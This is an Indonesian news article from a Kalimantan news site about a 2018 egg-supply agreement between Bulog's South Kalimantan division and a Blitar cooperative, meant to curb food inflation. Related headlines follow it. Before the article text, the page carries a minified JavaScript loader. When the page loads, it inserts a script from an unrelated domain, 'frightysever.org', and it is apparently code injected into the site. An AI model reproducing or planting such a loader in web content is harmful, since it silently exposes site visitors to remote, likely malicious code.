(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Inflasi pangan menjadi permasalahan yang kerap muncul di Kalsel. Terutama pada beberapa bulan terakhir, tekanan inflasi biasanya datang dari harga telur dan daging ayam.
Mengatasi hal tersebut, Bulog Divre Kalsel bagian dari Tim Pengendali Inflasi Daerah (TPID) di Kalsel melakukan upaya pemenuhan kebutuhan pasokan komoditas tersebut melalui kerjasama perdagangan antar daerah.
Salah satunya dengan melakukan penandatanganan Nota Kesepahahaman B to B antara Bulog Divre Kalsel dengan Koperasi Putera Blitar untuk penyediaan komoditas telur, Selasa (30/10/2018).
“Kerjasama antar daerah ini bertujuan untuk mendukung stabilitas harga telur di Kalsel. Hal ini penting, sehingga kedepan kita harapkan harga telur tidak lagi melonjak naik dan merugikan konsumen, maupun tidak turun tajam dan merugikan peternak telur,†ujar Kepala Bulog Divre Kalsel Awaluddin Iqbal kepada awak media.
Penandatanganan kerjasama sendiri diklaimnya akan segera diikuti dengan penerbitan purchase order oleh Bulog kepada Koperasi Blitar. Sehingga hal tersebut bisa menjadi hal bersejarah bagi Kalsel sebagai satu langkah awal dan strategis dalam pengendalian inflasi di daerah.
“Kami tentunya berharap kedepannya kerjasama ini bisa langgeng dan terus berlanjut. Bahkan bisa berkembang ke komoditas bahan pokok lainnya yang memang menjadi kebutuhan masyarakat Kalsel,†ungkapnya.
Sementara itu, Kepala Bank Indonesia (BI) Perwakilan Kalsel Herawanto menambahkan, kerjasama perdagangan sebenarnya bukan yang pertama kali dilakukan Kalsel untuk program pengendalian inflasi. Selain dengan Kabupaten Blitar, Provinsi Kalsel sudah lebih melakukan kerjasama serupa dengan Provinsi Jatim.
“Bahkan dalam dua hari ke depan, kerjasama serupa juga akan dilanjutkan dengan Provinsi Daerah Istimewa Yogyakarta,†tegasnya.
Selain mendorong Pemprov Kalsel maupun instansi lainya yang tergabung di TPID Kalsel melakukan kerjasama dagang dengan Provinsi lainnya di Indonesia, BI Perwakilan Wilayah Kalsel juga gencar melakukan pengembangan beberapa komoditas unggulan di beberapa daerah.
“Tujuannya tidak lain adalah agar kedepannya Kalsel tidak lagi terlalu ketergantungan dengan daerah lain untuk pemenuhan beberapa komoditas kebutuhan pokoknya. Dengan demikian ujungnya inflasi bisa lebih ditekan dan dikendalikan,†pungkasnya. (arief)
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.